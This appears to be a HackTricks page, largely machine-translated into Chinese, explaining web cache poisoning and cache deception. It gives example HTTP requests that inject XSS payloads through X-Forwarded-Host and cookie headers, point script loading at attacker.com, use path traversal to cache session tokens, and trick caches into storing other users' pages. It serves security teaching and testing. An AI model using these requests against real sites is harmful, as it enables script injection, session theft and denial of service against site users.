Cache Poisoning and Cache Deception
Reading time: 20 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
The difference
web cache poisoning 和 web cache deception 之间有什么区别?
- 在 web cache poisoning 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
- 在 web cache deception 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
Cache Poisoning
Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击涉及几个步骤:
- 识别未键入的输入:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
- 利用未键入的输入:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
- 确保被污染的响应被缓存:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
Discovery: Check HTTP headers
通常,当响应被 存储在缓存中 时,会有一个 指示的头部,您可以在此帖子中检查您应该关注哪些头部:HTTP Cache headers。
Discovery: Caching error codes
如果您认为响应正在被存储在缓存中,您可以尝试 发送带有错误头部的请求,这应该会以 状态码 400 响应。然后尝试正常访问请求,如果 响应是 400 状态码,您就知道它是脆弱的(您甚至可以执行 DoS)。
您可以在以下位置找到更多选项:
但是,请注意 有时这些状态码不会被缓存,因此此测试可能不可靠。
Discovery: Identify and evaluate unkeyed inputs
您可以使用 Param Miner 来 暴力破解可能会改变页面响应的参数和头部。例如,一个页面可能使用头部 X-Forwarded-For
来指示客户端从那里加载脚本:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
从后端服务器引发有害响应
通过识别的参数/头部检查它是如何被清理的,以及在哪里被反映或影响响应。你能以任何方式滥用它吗(执行XSS或加载你控制的JS代码?执行DoS?...)
获取缓存的响应
一旦你识别了可以被滥用的页面,使用哪个参数/头部以及如何滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**X-Cache
可能非常有用,因为当请求未被缓存时,它的值可能是miss
,而当被缓存时,它的值是hit
。
头部Cache-Control
**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:Cache-Control: public, max-age=1800
另一个有趣的头部是**Vary
。这个头部通常用于指示额外的头部**,这些头部被视为缓存键的一部分,即使它们通常没有键。因此,如果用户知道他所针对的受害者的User-Agent
,他可以为使用该特定User-Agent
的用户毒化缓存。
与缓存相关的另一个头部是**Age
**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
在缓存请求时,要小心使用的头部,因为其中一些可能会被意外使用为键,而受害者需要使用相同的头部。始终使用不同的浏览器测试缓存中毒是否有效。
利用示例
最简单的示例
像X-Forwarded-For
这样的头部在响应中未经过清理地被反映。
你可以发送一个基本的XSS有效负载并毒化缓存,这样每个访问该页面的人都会受到XSS攻击:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
注意,这将使对 /en?region=uk
的请求中毒,而不是 /en
缓存中毒导致拒绝服务
通过 CDN 进行缓存中毒
在 这篇文章 中解释了以下简单场景:
- CDN 将缓存任何位于
/share/
下的内容 - CDN 不会解码或规范化
%2F..%2F
,因此可以用作 路径遍历以访问其他将被缓存的敏感位置,例如https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- Web 服务器将解码和规范化
%2F..%2F
,并将响应/api/auth/session
,该响应 包含身份验证令牌。
使用 Web 缓存中毒来利用 Cookie 处理漏洞
Cookies 也可能在页面的响应中被反射。如果你可以利用它造成 XSS,例如,你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
生成带有分隔符、规范化和点的差异
检查:
Cache Poisoning via URL discrepancies
通过路径遍历进行缓存污染以窃取 API 密钥
这篇文章解释了 如何通过一个 URL 如 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
窃取 OpenAI API 密钥,因为任何匹配 /share/*
的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时会发生。
这在以下内容中也有更好的解释:
Cache Poisoning via URL discrepancies
使用多个头部来利用 web 缓存污染漏洞
有时您需要 利用多个无键输入 来滥用缓存。例如,如果您将 X-Forwarded-Host
设置为您控制的域名,并将 X-Forwarded-Scheme
设置为 http
,您可能会发现一个 开放重定向。如果 服务器 将 所有 HTTP 请求 转发 到 HTTPS 并使用头部 X-Forwarded-Scheme
作为重定向的域名。您可以控制页面重定向的指向。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
利用有限的 Vary
头
如果你发现 X-Host
头被用作 加载 JS 资源的域名,但响应中的 Vary
头指示 User-Agent
。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
发送一个GET请求,URL和请求体中都包含请求。如果web服务器使用请求体中的内容,但缓存服务器缓存的是URL中的内容,那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
参数伪装
例如,在 ruby 服务器中,可以使用字符 ;
而不是 &
来分隔 参数。这可以用来将无键参数值放入有键参数中并加以利用。
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
通过滥用 HTTP 请求走私来利用 HTTP 缓存中毒
在这里了解如何通过滥用 HTTP 请求走私进行缓存中毒攻击。
Web 缓存中毒的自动化测试
Web Cache Vulnerability Scanner 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。
示例用法: wcvs -u example.com
漏洞示例
Apache Traffic Server (CVE-2021-27577)
ATS 在不去除 URL 中片段的情况下转发了该片段,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 /#/../?r=javascript:alert(1)
被发送到后端为 /#/../?r=javascript:alert(1)
,而缓存键中没有负载,仅有主机、路径和查询。
GitHub CP-DoS
在 content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未授权用户。
GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。GCP 存储桶 支持 头部 x-http-method-override
。因此,可以发送头部 x-http-method-override: HEAD
并使缓存中毒以返回空响应体。它还可以支持 PURGE
方法。
Rack 中间件 (Ruby on Rails)
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 x-forwarded-scheme
头的值并将其设置为请求的方案。当发送头 x-forwarded-scheme: http
时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 X-forwarded-host
头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
403 和存储桶
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍然存在于其他代理服务中。
注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 size
参数。然而,如果还发送了 URL 编码版本的参数(例如,siz%65
)并带有错误值,则缓存键将使用正确的 size
参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 size
参数进行 URL 编码导致缓存省略了它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
用户代理规则
一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei)匹配的用户代理的请求,以管理服务器负载。讽刺的是,这种方法可能引入诸如缓存中毒和 DoS 等漏洞。
非法头字段
RFC7230 指定了头名称中可接受的字符。包含超出指定 tchar 范围的字符的头理想情况下应触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai,它转发包含无效字符的头,并缓存任何 400 错误,只要 cache-control
头不存在。发现了一种可利用的模式,发送包含非法字符(如 \
)的头会导致可缓存的 400 错误请求。
查找新头
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
缓存欺骗
缓存欺骗的目标是使客户端 加载将被缓存保存的敏感信息的资源。
首先要注意的是,扩展名如 .css
、.js
、.png
等通常被 配置 为 保存 在 缓存 中。因此,如果您访问 www.example.com/profile.php/nonexistent.js
,缓存可能会存储响应,因为它看到了 .js
扩展名。但是,如果 应用程序 正在 重放 存储在 www.example.com/profile.php 中的 敏感 用户内容,您可以 窃取 其他用户的这些内容。
其他测试内容:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- 使用不太常见的扩展名,如
.avif
另一个非常清晰的例子可以在这篇文章中找到:https://hackerone.com/reports/593712。
在这个例子中,解释了如果您加载一个不存在的页面,如 http://www.example.com/home.php/non-existent.css,将返回 http://www.example.com/home.php (包含用户的敏感信息),并且缓存服务器将保存结果。
然后,攻击者 可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察之前访问过的用户的 机密信息。
请注意,缓存代理 应该 配置 为 根据 文件的 扩展名 (.css) 缓存 文件,而不是根据内容类型。在示例 http://www.example.com/home.php/non-existent.css 中,将具有 text/html
内容类型,而不是 text/css
MIME 类型(这是 .css 文件的预期类型)。
在这里了解如何执行 利用 HTTP 请求走私进行缓存欺骗攻击。
自动化工具
- toxicache:Golang 扫描器,用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。
参考文献
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。